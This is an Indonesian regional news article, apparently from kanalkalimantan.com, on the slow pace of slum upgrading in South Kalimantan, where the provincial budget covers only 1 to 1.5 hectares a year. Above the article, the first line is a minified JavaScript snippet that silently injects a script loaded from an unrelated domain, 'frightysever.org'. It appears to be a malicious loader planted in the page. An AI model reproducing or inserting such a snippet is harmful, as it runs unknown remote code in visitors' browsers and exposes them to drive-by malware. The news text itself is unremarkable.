(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Penanganan kawasan kumuh dari dana APBD Provinsi di Kalsel dipastikan akan berjalan lambat. Pasalnya pemerintah provinsi hanya bisa menargetkan capaian penanganan kawasan kumuh sejak 2019 mendatang sebanyak satu hingga 1,5 hektare dalam setahun.
Sementara jumlah kawasan kumuh di Kalsel yang menjadi kewenangan provinsi Kalsel seluas 3.820 hektare tersebar di 13 kabupaten kota di Kalsel.
Jika target capaian penanganan kawasan kumuh dalam setahun terbatas hanya satu hingga 1,5 hektare maka perlu hingga tiga ribu tahun lebih hingga semua kawasan kumuh kewenangan provinsi selesai penanganan.
Kadisperkim Provinsi Kalimantan Selatan, Arifin Noor mengatakan memang pihaknya tak bisa menambah luasan penanganan kawasan kumuh di Kalsel karena keterbatasan dana. Namun penanganan satu hingga 1,5 hektare tersebut terangnya sudah maksimal dilakukan ditambah dengan dana untuk bedah rumah.
Kewenangan penanganan kawasan kumuh oleh Pemprov sendiri untuk kawasan kumuh dengan luasan 10 sampai 15 hektare. Sementara kawasan kumuh yang menjadi kewenangan kabupaten dibawah 10 hektare dan kewenangan penanganan kawasan kumuh oleh Kementerian PUPR dengan luasan diatas 15 hektare. “Saya rasa kalau Zero kumuh sangat sulit sekali karena dana APBD kita sangat terbatas,” ujarnya.
Oleh karena itu terangnya pihaknya akan berkoordinasi dengan Kementerian PUPR yang menangani kawasan kumuh dengan program Kotaku. Oleh karena itu terangnya pihaknya akan berkoordinasi agar penanganan kawasan kumuh di Kalsel baik oleh Pemprov, pemkab dan Kementerian melalui APBN bisa berjalan maksimal.
“Karena penanganan kawasan kumuh ini lebih banyak dananya dari APBN yang dilakukan melalui program Kotaku dan mulai tahun depan kita akan berkoordinasi agar target Kotaku bisa terlaksana 100 persen,” jelasnya.
Meski begitu ia mengaku optimis jika penanganan optimal akan bisa dilakukan jika ada koordinasi dengan pemerintah pusat, dan kabupaten kota. Seperti halnya dalam upaya peningkatan kualitas rumah yang kini juga dilakukan bersama oleh pemerintah pusat melalui Satker, pemkab dan pemko dan Pemprov.(rico)
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.